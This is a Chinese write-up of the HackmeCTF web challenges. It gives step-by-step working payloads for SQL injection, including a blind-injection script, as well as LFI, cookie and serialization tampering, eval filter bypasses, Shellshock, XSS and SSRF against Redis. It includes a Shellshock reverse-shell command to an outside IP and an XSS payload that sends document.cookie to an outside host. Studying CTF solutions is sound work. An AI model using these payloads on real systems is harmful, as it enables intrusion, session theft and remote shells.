HackmeCTF—WP
WEB
1.hide and seek
根据题目意思猜测网页源代码里可能会有 提示,右键查看网页源代码,发现flag

2.guestbook
看到no data,点击new post可以插入新的数据,然后再回到message list可以看到刚才插入的数据,点进去阅读,看到可疑的URL:

尝试SQL注入
首先确定字段数

输入
利用联合查询输入

再输入

再查字段名,输入
结果如图所示,字段名也是flag,

最后输入
3.LFI
题目页面如图所示

右键查看网页源代码,如图所示,发现可疑点

发现?page=……传参点,尝试php伪协议,
输入
Base64解码后得到
1 2 3 4 5 6 | <?php require('config.php'); if($_POST['user'] === 'admin' && md5($_POST['pass']) === 'bed128365216c019988915ed3add75fb') { echo $flag; } else { ?> |
发现用户名和密码,但密码是经MD5加密后的值,解密后如图所示

拿到密码passw0rd
输入用户名为admin 密码为passw0rd,拿到flag
4.homepage
进入题目网站如图4.1所示,结合题目提示:Did you check the code?
想到进入网页源代码查看,F12调出代码和控制台,仔细查看得到线索拿到二维码flag

扫描二维码得到flag
5.ping
进入题目网页得源码

审计代码可知过滤了很多敏感字符,但是linux下的反引号没有被过滤,反引号在linux命令行的作用是执行中间的命令,并将执行后的结果取代反引号命令,然后再执行外面的命令。构造

发现flag.php,但cat命令被过滤,因此想到另一个sort命令,能将文件进行排序输出,试下sort加通配符
6.scoreboard
点进题目网址,发现是scoreboard的地址,在网页上寻找线索,并查看源码,没有发现可疑点,试着用burpsuite抓包,但没有什么可以重放的,试着随意重放了一下,结果真的在响应头里找到了flag,如图所示
7.login as admin 0
进入网址,查看源码,如图所示
审计代码,发现过滤函数如图所示
易知题目过滤了 or 1=1 等字符,还会用反斜杠转义单引号,漏洞点就在于本题只转义引号,不转义其它字符,所以我们可以考虑用自己提交的反斜杠转义掉引号前面的反斜杠,这样引号就被脱出来了,构造 payload如下
1 | name=\'union select 1,1,1,1#&password=a |
提交得到图所示,拿到flag
8.login as admin 0.1
从图7.3得到线索,flag在database中,所以推测此题是要通过注入去数据库中寻找flag
先确定列数,输入
正常回显,所以判定数据库中有4列,
接着试着确定列名,输入
1 | name=admin\' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()# |
得到图所示内容
拿到表名,再输入
1 | name=admin\' union select 1,the_f14g,3,4 from h1dden_f14g# |
如图成功拿到flag
9.login as admin 1
进入目标网址,查看源码,如图所示
发现和login as admin 0不同的地方,在于如图所示的过滤点,
过滤掉了空格,于是使用/**/代替空格,提交
1 | name=admin\'/**/union/**/select/**/1,2,3,4/**/# |
得到如图所示结果,拿到flag
10.login as admin 1.2
输入’或者\进行测试都没有回显,推测是盲注,进行布尔注入,脚本如下
1 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | import requests myd = requests.session() header = { "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"} url ="https://hackme.inndy.tw/login1/" true ="You are not admin!" #database() 15 login_as_admin1 #0bdb54c98123f5526ccaed982d2006a9,users #id,4a391a11cfa831ca740cf8d00782f3a6,id,name,password,isadmin result ="" count =0 for x in range(250): print "[+]...testing " + str(x + 1) for y in range(32,127): payload ="\'or(ascii(mid((select group_concat(4a391a11cfa831ca740cf8d00782f3a6) from 0bdb54c98123f5526ccaed982d2006a9),%s,1))=%s)#"%(x +1,y) payload = payload.replace(" ",chr(0x0a)) data = { "name": payload, "password":123 } mys = myd.post(url,data=data,headers=header).text if true in mys: result = result + chr(y) print "the result is: " + result break count = y if count ==126: print "[√]the result is: " + result |
1 |
运行结果如图所示,拿到flag
11.login as admin 3
查看源码,如图所示,
简单审计一下代码,,发现登录后如图所示
会在cookie里set一个字符串,该字符串经base64解码后结果如图
会有两个键的数组,分别是data和sig,分析代码可知如果sig和密钥加密后的data弱等于,并且在data经过json解码后产生的数组中,键1的值弱等于true
这里可以用0几乎与任何字符串弱等于的方式,来进行弱类型匹配绕过密钥加密
用guest登录,拿到cookie后进行修改,获得新的cookie
1 | eyJzaWciOjAsImRhdGEiOiJbXCJndWVzdFwiLHRydWVdIn0= |
修改cookie访问,如图所示
拿到flag
12.login as admin 4
查看源码,如图所示
分析源码可知要拿到flag,要求post提交user为admin,但同时如果post提交的password不强等于数据库里的 password,就会强制跳转到错误的页面。
想到可以通过burpsuite修改提交的包进而绕过,但是这个网址是https网址,抓包需要添加证书,在网上百度了教程后,成功添加,用bp抓包后,删除password的内容,如图所示,
重放攻击得到flag
13.login as admin 6
进入网址,查看源码,如图所示,
发现了一个存在漏洞的函数——extract(),它有一个最大的漏洞——变量覆盖,即可以通过提交的变量把脚本中原来的变量覆盖掉!
通过阅读代码,可以知道它是用KaTeX parse error: Expected 'EOF', got '&' at position 38: …
所以除了提交username&?password之外,我们还需…user覆盖掉,json编码后构造payload如下
1 | data={"users":{"admin":1},"password":1,"username":"admin"} |
利用burpsuite提交后如图所示,拿到flag
14.login as admin 7
进入网址,查看源码,如图所示
分析代码可知需要一个password,md5加密以后跟’0000000000000000000000000000000000000000000000’相等,想到可以利用弱等于漏洞0exxxxxxx==0去绕过,如图所示
构造payload如下,
name=admin&password=QNKCDZO
Burpsuite提交后,如图所示,拿到flag

15.login as admin 8
这道题和前面几道题相比,源码如图所示部分信息量很少,抓包发现如图所示的这两个cookie比较可疑。

第二个cookie从名称上判断是一段hash的sha512加密,猜测是第一个login8cookie的校验,。
写了个python脚本
1 2 3 4 5 6 | import urlparse cookie='''O%3A7%3A%22Session%22%3A6%3A%7Bs%3A14%3A%22%00Session%00debug%22%3Bb%3A0%3Bs%3A19%3A%22%00Session%00debug_dump%22%3Bs%3A9%3A%22index.php%22%3Bs%3A13%3A%22%00Session%00data%22%3Ba%3A0%3A%7B%7Ds%3A4%3A%22user%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22pass%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22is_admin%22%3Bb%3A0%3B%7D''' cookie_decode=urlparse.unquote(cookie) print (cookie_decode) import hashlib print hashlib.sha512(cookie_decode.encode()).hexdigest() |
得到如图所示结果

如图可以看出检验后login8sha512确定为login8cookie的sha512值,并且序列化序列中有很明显的is_admin,结合源码,知道需要把其布尔值修改为1,并重新计算sha512值。如图所示,修改后的login8cookie和login8sha512

重放攻击得如图所示,拿到flag

16.login as admin 8.1
在源码中发现如图所示可疑代码

请求头中加入?debug=1,但是发现如图所示结果

在序列化字符串中,看到了debug的字样,尝试修改其后的数值为1,并且提交相应的sha512。
用上题的脚本得到如图所示sha512值,提交得到所示源码


即为index.php的内容,看到代码里出现config.php,猜测可能会有线索,修改session_dump的值为config.php,用脚本得到如图的sha512值

同时提交修改login8cookie和login8sha512的值,得到结果,成功拿到flag
- dafuq-manager 1
进入题目网址,看到图所示内容

用guest/guest登录得到如图所示内容

逐个下载点开查看,在see-me-if-you-need-tips.txt文档中发现线索,如图所示

提示创建一个cookie,属性名为help值为me

如图所示,创建了该cookie值,并调整了过期时间

刷新表单得到图所示内容,提示tamper a cookie
观察图所示内容,

发现show-hidden的值为no,可能是布尔类型值,提示需要篡改cookie,于是想到试一试把no改为yes
得到如图所示内容

发现flag.txt文档,打开后得到flag - dafuq-manager 2
题目提示:Login as admin, code review and get flag 2
需要用管理员身份登录,且审计代码,得到flag
点进题目网址,发现是上一题的网址(hackme的老套路,有点喜欢)
但只是提示需要管理员身份登录,但不知道密码,还是用guest/guest登录进去
根据提示,下载源码压缩包,在index.php中发现可能有用的图内容

在core/fun_admin.php中得到下列代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | function show_admin($dir) { $pwd = (($GLOBALS["permissions"] & 2) == 2); $admin = (($GLOBALS["permissions"] & 4) == 4); if (!$GLOBALS["require_login"]) show_error($GLOBALS["error_msg"]["miscnofunc"]); if (isset($GLOBALS['__GET']["action2"])) $action2 = $GLOBALS['__GET']["action2"]; elseif (isset($GLOBALS['__POST']["action2"])) $action2 = $GLOBALS['__POST']["action2"]; else $action2 = ""; switch ($action2) { case "chpwd": if (!$pwd) show_error($GLOBALS["error_msg"]["accessfunc"]); changepwd($dir); break; case "adduser": if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]); adduser($dir); break; case "edituser": if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]); edituser($dir); break; case "rmuser": if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]); removeuser($dir); break; default: if (!$pwd && !$admin) show_error($GLOBALS["error_msg"]["accessfunc"]); admin($admin, $dir); } } ?> |
审计代码可知,要成为admin需要满足
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | $pwd = (($GLOBALS["permissions"] & 2) == 2); $admin = (($GLOBALS["permissions"] & 4) == 4); 于是要寻找$GLOBALS["permissions"]函数, 在core/fun_users.php中得到 function activate_user($user, $pass) { $data = find_user($user, $pass); if ($data == NULL) return false; $GLOBALS['__SESSION']["s_user"] = $data[0]; $GLOBALS['__SESSION']["s_pass"] = $data[1]; $GLOBALS["home_dir"] = $data[2]; $GLOBALS["home_url"] = $data[3]; $GLOBALS["show_hidden"] = $data[4]; $GLOBALS["no_access"] = $data[5]; $GLOBALS["permissions"] = $data[6]; return true; } |
可以发现赋值来源于
data[6],而‘data = find_user($user, $pass)`
所有再查看find_user函数
1 2 3 4 5 6 7 8 9 10 11 | function &find_user($user, $pass) { $cnt = count($GLOBALS["users"]); for ($i = 0;$i < $cnt;++$i) { if ($user == $GLOBALS["users"][$i][0]) { if ($pass == NULL || ($pass == $GLOBALS["users"][$i][1] && $GLOBALS["users"][$i][7])) { return $GLOBALS["users"][$i]; } } } return NULL; } |
可以发现来源于$GLOBALS[“users”],找到这个变量的赋值函数,
在/.config/.htusers.php中发现
1 2 3 4 | <?php $GLOBALS["users"] = array( array("guest", "084e0343a0486ff05530df6c705c8bb4", "./data/guest", "https://game1.security.ntu.st/data/guest", 0, "^.ht", 1, 1), ); |
这个文件中只给出了guest的值,所以下面要做的是读文件,得到admin的密码
首先查找读文件的函数:
在/core/fun_down.php可以发现一处readfile()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | function download_item($dir, $item) { $item = basename($item); if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]); if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]); if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]); $abs_item = get_abs_item($dir, $item); if (!file_in_web($abs_item) || stristr($abs_item, '.php') || stristr($abs_item, 'config')) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]); $browser = id_browser(); header('Content-Type: ' . (($browser == 'IE' || $browser == 'OPERA') ? 'application/octetstream' : 'application/octet-stream')); header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT'); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . filesize($abs_item)); if ($browser == 'IE') { header('Content-Disposition: attachment; filename="' . $item . '"'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); } else { header('Content-Disposition: attachment; filename="' . $item . '"'); header('Cache-Control: no-cache, must-revalidate'); header('Pragma: no-cache'); } @readfile($abs_item); exit; } |
审计代码得到关键信息为
1 | if (!file_in_web($abs_item) || stristr($abs_item, '.php') || stristr($abs_item, 'config')) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]); |
这里对文件进行了过滤,而要读的路径正好是/.config/.htusers.php
所以这里的下载文件功能无法使用
接着寻找,在/core/fun_edit.php发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | function edit_file($dir, $item) { if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]); if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]); if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]); $fname = get_abs_item($dir, $item); if (!file_in_web($fname)) show_error($GLOBALS["error_msg"]["accessfile"]); if (isset($GLOBALS['__POST']["dosave"]) && $GLOBALS['__POST']["dosave"] == "yes") { $item = basename(stripslashes($GLOBALS['__POST']["fname"])); $fname2 = get_abs_item($dir, $item); if (!isset($item) || $item == "") show_error($GLOBALS["error_msg"]["miscnoname"]); if ($fname != $fname2 && @file_exists($fname2)) show_error($item . ": " . $GLOBALS["error_msg"]["itemdoesexist"]); savefile($dir, $fname2); $fname = $fname2; } $fp = @fopen($fname, "r"); if ($fp === false) show_error($item . ": " . $GLOBALS["error_msg"]["openfile"]); $s_item = get_rel_item($dir, $item); if (strlen($s_item) > 50) $s_item = "..." . substr($s_item, -47); show_header($GLOBALS["messages"]["actedit"] . ": /" . $s_item); ?><script language="JavaScript1.2" type="text/javascript"> |
对上述代码进行审计分析
第一个判断:
1 | if(($GLOBALS["permissions"]&01)!=01)show_error($GLOBALS["error_msg"]["accessfunc"]); |
guest的$GLOBALS[“permissions”]是1,显然满足
第二个判断
1 | if(!get_is_file($dir,$item))show_error($item.":".$GLOBALS["error_msg"]["fileexist"]); |
仅仅检测路径文件是否存在,这里不是安全防护,所以暂时不用看
第三个判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | if(!get_show_item($dir,$item))show_error($item.":".$GLOBALS["error_msg"]["accessfile"]); 找到get_show_item函数, function get_show_item($dir, $item) { if ($item == "." || $item == "..") return false; if ($_COOKIE['help'] == 'me') { $_COOKIE['help'] = null; setcookie('help', '', time() - 9999999999); echo '<script>alert("Very good. You know how to create cookie. How about tamper a cookie?")</script>'; } if (empty($_COOKIE['show_hidden'])) { setcookie('show_hidden', 'no', time() + 3600); } if (substr($item, 0, 1) == "." && $GLOBALS["show_hidden"] == false && $_COOKIE['show_hidden'] != 'yes') return false; if ($GLOBALS["no_access"] != "" && @eregi($GLOBALS["no_access"], $item)) return false; if ($GLOBALS["show_hidden"] == false) { $dirs = explode("/", $dir); foreach ($dirs as $i) if (substr($i, 0, 1) == ".") return false; } return true; } |
发现这里对$item的变量防护仅仅停留在
1 2 | if ($item == "." || $item == "..") return false; if (substr($item, 0, 1) == "." && $GLOBALS["show_hidden"] == false && $_COOKIE['show_hidden'] != 'yes') return false; |
构造
构造payload为:
1 2 | https://dafuq-manager.hackme.inndy.tw/index.php?action=edit&item= /../../../../../../var/www/webhdisk/.config/.htusers.php |
发现文件读取成功,得到如图所示内容

文件读取成功,拿到了admin的账号名和密码,解MD5得到图所示结果

得到密码为how do you turn this on账号名: adm1n15trat0r
拿去登录,发现图所示,

拿到flag2文件
19. dafuq-manager 3
和前两题一样,但更进一步是要让我们找到网站的命令执行问题,拿到shell
审计代码,在core/fun_debug.php中找到有用的信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | function do_debug() { assert(strlen($GLOBALS['secret_key']) > 40); $dir = $GLOBALS['__GET']['dir']; if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) { show_error('You are not hacky enough :('); } list($cmd, $hmac) = explode('.', $GLOBALS['__GET']['command'], 2); $cmd = base64_decode($cmd); $bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',); foreach ($bad_things as $bad) { if (stristr($cmd, $bad)) { die('2bad'); } } if (hash_equals(hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]), $hmac)) { die(eval($cmd)); } else { show_error('What does the fox say?'); } } |
这里需要绕过
1 2 3 | if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) { show_error('You are not hacky enough :('); } |
而strcmp可以用数组绕过,如dir[]=1
黑名单过滤为
1 | $bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',); |
这里利用eval函数漏洞,构造payload:
1 | ?action=debug&dir[]=&command=JGE9InN5cyI7JGI9InRlbSI7JGM9JGEuJGI7JGMoImxzIik7.71aa16cabc8038fd06511bce87024074ca1b54310c318e36c61bfdbf9b30c28a |
得到图所示回显
1 | 图19.1 |
再查看flag3文件夹
构造payload:
1 | ?action=debug&dir[]=&command=JGE9InN5cyI7JGI9InRlbSI7JGM9JGEuJGI7JGMoImxzIGZsYWczIik7.1704151fc14b04ab80317ccb0009b18bb478bc6e0c25756d48e38a4dff57b376 |
得到图所示回显
1 | 图19.2 |
最后读flag3文件,但这里cat在黑名单过滤里,但看到有一个meow.c,猜测是用来读文件的,于是构造payload:
1 | ?action=debug&dir[]=&command=JGE9InN5cyI7JGI9InRlbSI7JGM9JGEuJGI7JGMoIi4vZmxhZzMvbWVvdyAuL2ZsYWczL2ZsYWczIik7.1af17b1b8f3ffe077a5f06638b3d0fa6b68c2280e424e40ef662a59f6709e112 |
得到图所示内容,拿到flag
20.wordpress1
点进去查看,发现好像是用wordpress搭建的博客,随便点点,没有发现有用的地方,实在不知道怎么解决了,去问了一下,发现是hackme后台挂了,应该在Backup File中下载下来源码,然后审计,但是下载不下来。
只能参考网上WP中贴出的部分可用的代码(其实在那么大的代码量里审计得到可用的可疑代码是这道题的第一步难点,这里也只能略过)
可以代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 | function print_f14g() { $h = 'm'.sprintf('%s%d','d',-4+9e0); if($h($_GET['passw0rd']) === '5ada11fd9c69c78ea65c832dd7f9bbde') { if(wp_get_user_ip() === '127.0.0.1') { eval(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $h($_GET['passw0rd'].AUTH_KEY), base64_decode('zEFnGVANrtEUTMLVyBusu4pqpHjqhn3X+cCtepGKg89VgIi6KugA+hITeeKIpnQIQM8UZbUkRpuCe/d8Rf5HFQJSawpeHoUg5NtcGam0eeTw+1bnFPT3dcPNB8IekPBDyXTyV44s3yaYMUAXZWthWHEVDFfKSjfTpPmQkB8fp6Go/qytRtiP3LyYmofhOOOV8APh0Pv34VPjCtxcJUpqIw=='), MCRYPT_MODE_CBC, $h($_GET['passw0rd'].AUTH_SALT))); } else { die('</head><body><h1>Sorry, Only admin from localhost can get flag'); } } } add_action('wp_head', 'print_f14g'); |
把password的MD5值拿去解密得到如图所示结果
于是构造https://wp.hackme.inndy.tw/?passw0rd=cat%20flag
访问得到如图所示结果

发现又是需要管理员身份
再次审计代码发现
if(wp_get_user_ip() === ‘127.0.0.1’)
猜测可以使用XFF绕过
使用burpsuite伪造XFF,并重放如图所示

得到如图所示结果,拿到flag

感觉这道题得出主要难度是在查找可以代码时,这里无奈直接跳过了
21.wordpress2
点进题目网址,发现还是上一题的网址,Backup file下载不了,但是可能只会影响上一题,于是随便点点找可以的地方,在2013年10月的文章里发现如图所示的可疑处

发现flag2可能在这篇文章里
但怎么绕过密码,又需要源码了,
查看网上贴出的可疑点,
把post提交的数据处理之后,将数据输出在了注释里面
尝试get提交debug为content,构造payload为:
https://wp.hackme.inndy.tw/archives/date/2013/10?s=&debug=content
成功绕过密码限制,在网页源码里发现flag,如所示,

22.webshell

这题后台直接崩掉,题目网址进不去-.-
23.command-executor
进入题目网址后,随便点一点,发现图所示的可疑点,

发现可以遍历目录,但限制的条件很死,仅能执行ls和env,但却也发现了有趣的地方
1 2 3 4 5 | -rw-r--r-- 1 root root 1163 Jan 9 11:05 cmd.php -rw-r--r-- 1 root root 2201 Jan 9 11:32 index.php -rw-r--r-- 1 root root 515 Jan 9 11:05 ls.php -rw-r--r-- 1 root root 658 Jan 19 08:25 man.php -rw-r--r-- 1 root root 588 Jan 9 11:05 untar.php |
这里的ls,untar,cmd和前面func参数包含进来的参数一样,
于是想到试一试文件包含,看看可不可以读文件,构造:
1 | https://command-executor.hackme.inndy.tw/index.php?func=php://filter/read=convert.base64-encode/resource=index |
果然可以拿到源码,base64解密后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 | <?php $pages = [ ['man', 'Man'], ['untar', 'Tar Tester'], ['cmd', 'Cmd Exec'], ['ls', 'List files'], ]; function fuck($msg) { header('Content-Type: text/plain'); echo $msg; exit; } $black_list = [ '\/flag', '\(\)\s*\{\s*:;\s*\};' ]; function waf($a) { global $black_list; if(is_array($a)) { foreach($a as $key => $val) { waf($key); waf($val); } } else { foreach($black_list as $b) { if(preg_match("/$b/", $a) === 1) { fuck("$b detected! exit now."); } } } } waf($_SERVER); waf($_GET); waf($_POST); function execute($cmd, $shell='bash') { system(sprintf('%s -c %s', $shell, escapeshellarg($cmd))); } foreach($_SERVER as $key => $val) { if(substr($key, 0, 5) === 'HTTP_') { putenv("$key=$val"); } } $page = ''; if(isset($_GET['func'])) { $page = $_GET['func']; if(strstr($page, '..') !== false) { $page = ''; } } if($page && strlen($page) > 0) { try { include("$page.php"); } catch (Exception $e) { } } function render_default() { ?> <p>Welcome to use our developer assistant service. We provide servial useless features to make your developing life harder.</p> <img src="windows-run.jpg" alt="command executor"> <?php } ?><!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Command Executor</title> <link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all"> <link rel="stylesheet" href="comic-neue/font.css" media="all"> <style> nav { margin-bottom: 1rem; } img { max-width: 100%; } </style> </head> <body> <nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex"> <a class="navbar-brand" href="index.php">Command Executor</a> <ul class="navbar-nav"> <?php foreach($pages as list($file, $title)): ?> <li class="nav-item"> <a class="nav-link" href="index.php?func=<?=$file?>"><?=$title?></a> </li> <?php endforeach; ?> </ul> </nav> <div class="container"><?php if(is_callable('render')) render(); else render_default(); ?></div> </body> </html> |
发现一个很可疑的函数putenv(),和重大的破壳漏洞——env()函数很像,结合分析链接:
1 | http://www.freebuf.com/articles/system/45390.html |
确定为破壳漏洞
但知道了这些还是不太会做这道题,于是在网上找存在破壳漏洞的CTF例题,
Google到一片文章:
1 | https://security.stackexchange.com/questions/68325/shellshock-attack-scenario-exploiting-php |
其中,有个重点片段如图所示:

可以看到测试的例子和这道题里给出的代码非常相似
题目代码如下:
1 2 3 4 5 | foreach($_SERVER as $key => $val) { if(substr($key, 0, 5) === 'HTTP_') { putenv("$key=$val"); } } |
注意到触发漏洞的payload为:
1 | wget --header="X-Exploit: () { :; }; echo Hacked" -q -O - http://127.0.0.1/shock.php |
于是先在shellshock里检测一下可不可以使用:
但发现被waf拦截,找到index.php里的waf过滤点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | $black_list = [ '\/flag', '\(\)\s*\{\s*:;\s*\};' ]; function waf($a) { global $black_list; if(is_array($a)) { foreach($a as $key => $val) { waf($key); waf($val); } } else { foreach($black_list as $b) { if(preg_match("/$b/", $a) === 1) { fuck("$b detected! exit now."); } } } } |
发现X-Exploit: () { :; };被过滤,但绕过此过滤十分容易,只需要加一个空格,变为X-Exploit: () { : ; };
构造payload:
1 | wget --header="X-Exploit: () { : ; }; echo Hacked" -q -O - https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env |
再次尝试,得到图所示结果

可以看到Hacked成功回显
于是开始尝试执行命令,需要注意的是,shellshock执行命令,需要加上/bin/
比如cat命令要写成/bin/cat
于是尝试读/etc/passwd
构造payload:
1 | wget --header="X-Exploit: () { : ; }; /bin/cat /etc/passwd" -q -O - https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env |
得到如图所示内容:

可以发现命令成功执行,所以下面只要找到flag并读取就行了
而之前提到,这个题目本身就自带ls,所以可以很轻松的查目录,容易发现flag在根目录,如图所示

尝试读取flag文件,注意到上面的waf过滤,这里选择通配符绕过即构造payload为:
1 | wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag" -q -O - https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env |
但这次没有正确回显,回去查看,注意到文件权限为root,只有升级为root才能读,确定还需要其他的线索,看到下面有一个C语言写的flag.reader,可能和得到flag有关系,尝试读一下这个文件
构造payload:
1 | wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag-reader.c" -q -O - https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env |
得到回显结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | #include <unistd.h> #include <syscall.h> #include <fcntl.h> #include <string.h> int main(int argc, char *argv[]) { char buff[4096], rnd[16], val[16]; if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) { write(1, "Not enough random\n", 18); } setuid(1337); seteuid(1337); alarm(1); write(1, &rnd, sizeof(rnd)); read(0, &val, sizeof(val)); if(memcmp(rnd, val, sizeof(rnd)) == 0) { int fd = open(argv[1], O_RDONLY); if(fd > 0) { int s = read(fd, buff, 1024); if(s > 0) { write(1, buff, s); } close(fd); } else { write(1, "Can not open file\n", 18); } } else { write(1, "Wrong response\n", 16); } } |
审计这个C语言代码,大致功能就是:1秒之内把输出的再输入回去,就可以输出文件内容
此时就需要运行这个脚本,再把输出在1s内再输回去,但是这样的话,速度极慢,所以想到,如果拿个shell,应该会快很多
这里选择反弹shell
构造payload为:
1 | wget --header="X-Exploit: () { : ; }; /bin/bash -i >& /dev/tcp/192.168.232.134/11122 0>&1" -q -O - https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env |
收到如图所示的回显:

而下面就只要解决如何在1s内输入c文件输出的结果这个问题了
这里选择linux下的重定向,将输出写到某个文件中,再自动输入即可,
先找可写目录,容易发现/var/tmp具有写权限
我们测试一下,构造payload:
1 | wget --header="X-Exploit: () { : ; }; echo 'sky' > /var/tmp/sky" -q -O - https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env |
得到如图所示内容

发现可写目录,再构造payload:
1 | wget --header="X-Exploit: () { : ; }; flag-reader flag > /var/tmp/skyflag < /var/tmp/skyflag > /var/tmp/sky" -q -O - https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env |
拿到flag
24.xssme
进入题目网址,发现注册登录后可以发送邮件,疑似XSS攻击点,但尝试了
script onerror发现都被过滤了,如图所示

1

再试试onload,如图所示发现同样不行

再试一下,
1 | <svg/onload="document.location='http://ugelgr.ceye.io/?'+document.cookie"> |
得到如图所示内容

解码后得到flag:
1 2 3 | PHPSESSID=9crkuhdqs9b1jkslebpieprr86; FLAG_XSSME=FLAG{XXXXXXXXXXXXXXX(自己做一哈,嘿嘿) vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS |
25.xssrf leak
进入题目网址,看到图所示内容,再结合上题的提示

猜测需要使用管理员的身份登录,而且上题中得到的回显里有PHPSESSID,就可以尝试登录了,如图所示


发现提示需要从本地服务器登录,也算正常,于是如图25.4所示,尝试一下XFF绕过

但还是不行,尝试了很多修改http header的方法,都不能得到有用的回显,很无奈,但这道题是XSS呀,是不是可以直接利用XSS去本地访问,再将页面内容打出来就OK了,于是回到之前的思路
构造payload:
1 | <svg/onload="document.location='http://ugelgr.ceye.io/?'+btoa(document.body.innerHTML)"> |
但是得到如图25.5所示内容

被过滤了,所以想到尝试编码绕过,绕过的payload如下:

成功得到回显,如图所示:

解码后保存在本地服务器,打开后如图所示

发现较原题目地址里,多了一个send request的功能,查看代码如下

发现request.php,再看题目名称叫XSSRF,猜测有ssrf漏洞,攻击点应该就在request.php中
继续构造payload读这个html页面,payload如下:

编码后发送,得到如图所示结果

得到回显信息,解码后拿到代码
确定XSS的攻击点就是在request.php这里了,于是尝试file协议读passwd
构造payload:

得到回显,如图所示

发现成功读到etc/passwd,于是回到最初的想读的可疑文件config.php,构造payload如下,去打这个文件

得到回显,拿到
- xssrf redis
最后一题,题目提示redis,应该就是打redis了,结合上一题的flag里,提示redis在25566端口,于是尝试构造payload打一下:

得到如图的回显:

发现gopher未授权访问打redis
但也得到了有用的信息key,看一下key的内容,于是构造payload如下:
1 | xmlhttp.send("url=gopher://127.0.0.1:25566/_KEYS%2520*%250a_quit") |
得到如图所示的内容

发现关键词flag,于是构造payload尝试去读flag,payload如下
xmlhttp.send(“url=gopher://127.0.0.1:25566/_get%2520flag%250a_quit”)
得到如图所示的回显:

发现类型错误,那就再构造payload,看一下类型,payload如下:
xmlhttp.send(“url=gopher://127.0.0.1:25566/_type%2520flag%250a_quit”)
得到如图所示回显

发现是list,再构造payload如下,去读list长度
xmlhttp.send(“url=gopher://127.0.0.1:25566/_llen%2520flag%250a_quit”)
得到如图所示回显

得到list长度为53,下面就可以读取list里的值了
构造payload:
得到如图所示内容

在paython里拼接起来,拿到最后一题flag










